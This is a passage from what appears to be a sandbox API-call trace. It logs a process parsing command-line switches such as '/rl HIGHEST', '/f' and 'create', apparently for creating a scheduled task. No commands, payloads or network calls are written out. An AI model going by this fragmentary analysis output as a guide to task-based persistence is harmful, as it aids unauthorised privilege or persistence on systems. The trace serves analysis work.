_ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.824] lstrlenW (lpString="|ri|") returned 4 [0126.831] lstrlenW (lpString="|rl|") returned 4 [0126.831] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0126.831] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.831] lstrlenW (lpString="z") returned 1 [0126.831] lstrlenW (lpString="z") returned 1 [0126.831] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.831] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.831] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|z|") returned 3 [0126.831] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.831] lstrlenW (lpString="|z|") returned 3 [0126.831] lstrlenW (lpString="|rl|") returned 4 [0126.831] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.831] lstrlenW (lpString="f") returned 1 [0126.832] lstrlenW (lpString="f") returned 1 [0126.832] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.832] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.832] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.832] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.832] lstrlenW (lpString="|f|") returned 3 [0126.832] lstrlenW (lpString="|rl|") returned 4 [0126.832] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.832] lstrlenW (lpString="v1") returned 2 [0126.832] lstrlenW (lpString="v1") returned 2 [0126.832] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.832] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.832] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|v1|") returned 4 [0126.832] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.832] lstrlenW (lpString="|v1|") returned 4 [0126.832] lstrlenW (lpString="|rl|") returned 4 [0126.832] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0126.832] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.832] lstrlenW (lpString="xml") returned 3 [0126.832] lstrlenW (lpString="xml") returned 3 [0126.832] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.832] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.832] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|xml|") returned 5 [0126.832] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.832] lstrlenW (lpString="|xml|") returned 5 [0126.832] lstrlenW (lpString="|rl|") returned 4 [0126.832] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0126.832] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.833] lstrlenW (lpString="ec") returned 2 [0126.833] lstrlenW (lpString="ec") returned 2 [0126.833] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.833] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.833] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|ec|") returned 4 [0126.833] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.833] lstrlenW (lpString="|ec|") returned 4 [0126.833] lstrlenW (lpString="|rl|") returned 4 [0126.833] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0126.833] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.833] lstrlenW (lpString="rl") returned 2 [0126.833] lstrlenW (lpString="rl") returned 2 [0126.833] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.833] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.833] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.833] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rl|") returned 4 [0126.833] lstrlenW (lpString="|rl|") returned 4 [0126.833] lstrlenW (lpString="|rl|") returned 4 [0126.833] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0126.833] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.833] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.833] lstrlenW (lpString="HIGHEST") returned 7 [0126.833] lstrlenW (lpString="-/") returned 2 [0126.833] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0126.833] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.833] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.833] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.833] lstrlenW (lpString="HIGHEST") returned 7 [0126.833] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0126.834] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.834] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.834] _memicmp (_Buf1=0x1769e91aa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.834] lstrlenW (lpString="HIGHEST") returned 7 [0126.834] lstrlenW (lpString="HIGHEST") returned 7 [0126.834] lstrlenW (lpString=" \x09") returned 2 [0126.834] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0126.834] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0126.834] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0126.834] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0126.834] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0126.834] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0126.834] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0126.834] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0126.834] GetLastError () returned 0x0 [0126.834] lstrlenW (lpString="HIGHEST") returned 7 [0126.834] lstrlenW (lpString="HIGHEST") returned 7 [0126.834] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.834] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.834] lstrlenW (lpString="/f") returned 2 [0126.834] lstrlenW (lpString="-/") returned 2 [0126.834] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0126.834] lstrlenW (lpString="create") returned 6 [0126.834] lstrlenW (lpString="create") returned 6 [0126.834] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.834] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.834] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|create|") returned 8 [0126.834] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.834] lstrlenW (lpString="|create|") returned 8 [0126.834] lstrlenW (lpString="|f|") returned 3 [0126.834] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0126.835] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.835] lstrlenW (lpString="?") returned 1 [0126.835] lstrlenW (lpString="?") returned 1 [0126.835] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.835] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.835] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|?|") returned 3 [0126.835] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.835] lstrlenW (lpString="|?|") returned 3 [0126.835] lstrlenW (lpString="|f|") returned 3 [0126.835] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0126.835] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.835] lstrlenW (lpString="s") returned 1 [0126.835] lstrlenW (lpString="s") returned 1 [0126.835] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.835] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.835] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|s|") returned 3 [0126.835] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.835] lstrlenW (lpString="|s|") returned 3 [0126.835] lstrlenW (lpString="|f|") returned 3 [0126.835] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0126.835] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.835] lstrlenW (lpString="u") returned 1 [0126.835] lstrlenW (lpString="u") returned 1 [0126.835] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.835] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.835] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|u|") returned 3 [0126.835] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.835] lstrlenW (lpString="|u|") returned 3 [0126.836] lstrlenW (lpString="|f|") returned 3 [0126.836] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0126.836] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.836] lstrlenW (lpString="p") returned 1 [0126.836] lstrlenW (lpString="p") returned 1 [0126.836] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.836] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.836] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|p|") returned 3 [0126.836] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.836] lstrlenW (lpString="|p|") returned 3 [0126.836] lstrlenW (lpString="|f|") returned 3 [0126.836] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0126.836] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.836] lstrlenW (lpString="ru") returned 2 [0126.836] lstrlenW (lpString="ru") returned 2 [0126.836] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.836] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.836] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|ru|") returned 4 [0126.836] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.836] lstrlenW (lpString="|ru|") returned 4 [0126.836] lstrlenW (lpString="|f|") returned 3 [0126.836] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0126.836] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.836] lstrlenW (lpString="rp") returned 2 [0126.836] lstrlenW (lpString="rp") returned 2 [0126.836] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.836] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.836] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rp|") returned 4 [0126.836] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.837] lstrlenW (lpString="|rp|") returned 4 [0126.837] lstrlenW (lpString="|f|") returned 3 [0126.837] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0126.837] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.837] lstrlenW (lpString="sc") returned 2 [0126.837] lstrlenW (lpString="sc") returned 2 [0126.837] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.837] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.837] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|sc|") returned 4 [0126.837] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.837] lstrlenW (lpString="|sc|") returned 4 [0126.837] lstrlenW (lpString="|f|") returned 3 [0126.837] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0126.837] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.837] lstrlenW (lpString="mo") returned 2 [0126.837] lstrlenW (lpString="mo") returned 2 [0126.837] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.837] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.837] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|mo|") returned 4 [0126.837] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.837] lstrlenW (lpString="|mo|") returned 4 [0126.837] lstrlenW (lpString="|f|") returned 3 [0126.837] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0126.837] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.837] lstrlenW (lpString="d") returned 1 [0126.837] lstrlenW (lpString="d") returned 1 [0126.837] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.837] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.837] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|d|") returned 3 [0126.838] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.838] lstrlenW (lpString="|d|") returned 3 [0126.838] lstrlenW (lpString="|f|") returned 3 [0126.838] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0126.838] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.838] lstrlenW (lpString="m") returned 1 [0126.838] lstrlenW (lpString="m") returned 1 [0126.838] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.838] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.838] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|m|") returned 3 [0126.838] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.838] lstrlenW (lpString="|m|") returned 3 [0126.838] lstrlenW (lpString="|f|") returned 3 [0126.838] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0126.838] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.838] lstrlenW (lpString="i") returned 1 [0126.838] lstrlenW (lpString="i") returned 1 [0126.838] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.838] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.838] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|i|") returned 3 [0126.838] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.838] lstrlenW (lpString="|i|") returned 3 [0126.838] lstrlenW (lpString="|f|") returned 3 [0126.838] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0126.838] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.838] lstrlenW (lpString="tn") returned 2 [0126.838] lstrlenW (lpString="tn") returned 2 [0126.838] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.838] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.839] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tn|") returned 4 [0126.839] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.839] lstrlenW (lpString="|tn|") returned 4 [0126.839] lstrlenW (lpString="|f|") returned 3 [0126.839] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0126.839] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.839] lstrlenW (lpString="tr") returned 2 [0126.839] lstrlenW (lpString="tr") returned 2 [0126.839] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.839] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.839] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tr|") returned 4 [0126.839] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.839] lstrlenW (lpString="|tr|") returned 4 [0126.839] lstrlenW (lpString="|f|") returned 3 [0126.839] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0126.839] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.839] lstrlenW (lpString="st") returned 2 [0126.839] lstrlenW (lpString="st") returned 2 [0126.839] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.839] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.839] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|st|") returned 4 [0126.839] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.839] lstrlenW (lpString="|st|") returned 4 [0126.839] lstrlenW (lpString="|f|") returned 3 [0126.839] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0126.839] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.839] lstrlenW (lpString="sd") returned 2 [0126.839] lstrlenW (lpString="sd") returned 2 [0126.839] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.840] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.840] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|sd|") returned 4 [0126.840] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.840] lstrlenW (lpString="|sd|") returned 4 [0126.840] lstrlenW (lpString="|f|") returned 3 [0126.840] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0126.840] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.840] lstrlenW (lpString="ed") returned 2 [0126.840] lstrlenW (lpString="ed") returned 2 [0126.840] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.840] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.840] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|ed|") returned 4 [0126.840] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.840] lstrlenW (lpString="|ed|") returned 4 [0126.840] lstrlenW (lpString="|f|") returned 3 [0126.840] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0126.840] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.840] lstrlenW (lpString="it") returned 2 [0126.840] lstrlenW (lpString="it") returned 2 [0126.840] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.840] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.840] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|it|") returned 4 [0126.840] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.840] lstrlenW (lpString="|it|") returned 4 [0126.841] lstrlenW (lpString="|f|") returned 3 [0126.841] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0126.841] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.841] lstrlenW (lpString="et") returned 2 [0126.841] lstrlenW (lpString="et") returned 2 [0126.841] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.841] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.841] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|et|") returned 4 [0126.841] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.841] lstrlenW (lpString="|et|") returned 4 [0126.841] lstrlenW (lpString="|f|") returned 3 [0126.841] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0126.841] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.841] lstrlenW (lpString="k") returned 1 [0126.841] lstrlenW (lpString="k") returned 1 [0126.841] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.841] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.841] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|k|") returned 3 [0126.841] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.841] lstrlenW (lpString="|k|") returned 3 [0126.841] lstrlenW (lpString="|f|") returned 3 [0126.841] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0126.841] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.841] lstrlenW (lpString="du") returned 2 [0126.841] lstrlenW (lpString="du") returned 2 [0126.841] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.841] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.841] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|du|") returned 4 [0126.842] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.842] lstrlenW (lpString="|du|") returned 4 [0126.842] lstrlenW (lpString="|f|") returned 3 [0126.842] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0126.842] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.842] lstrlenW (lpString="ri") returned 2 [0126.842] lstrlenW (lpString="ri") returned 2 [0126.842] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.842] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.842] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|ri|") returned 4 [0126.842] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.842] lstrlenW (lpString="|ri|") returned 4 [0126.842] lstrlenW (lpString="|f|") returned 3 [0126.842] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0126.842] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.842] lstrlenW (lpString="z") returned 1 [0126.842] lstrlenW (lpString="z") returned 1 [0126.842] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.842] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.842] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|z|") returned 3 [0126.842] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.842] lstrlenW (lpString="|z|") returned 3 [0126.842] lstrlenW (lpString="|f|") returned 3 [0126.842] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0126.843] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.843] lstrlenW (lpString="f") returned 1 [0126.843] lstrlenW (lpString="f") returned 1 [0126.843] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.843] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.843] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.843] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|f|") returned 3 [0126.843] lstrlenW (lpString="|f|") returned 3 [0126.843] lstrlenW (lpString="|f|") returned 3 [0126.843] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0126.843] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.843] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.843] GetProcessHeap () returned 0x1769e910000 [0126.843] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e91ba10 [0126.843] _memicmp (_Buf1=0x1769e914c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.843] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x1769e91bb40, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0126.843] lstrlenW (lpString="LIMITED") returned 7 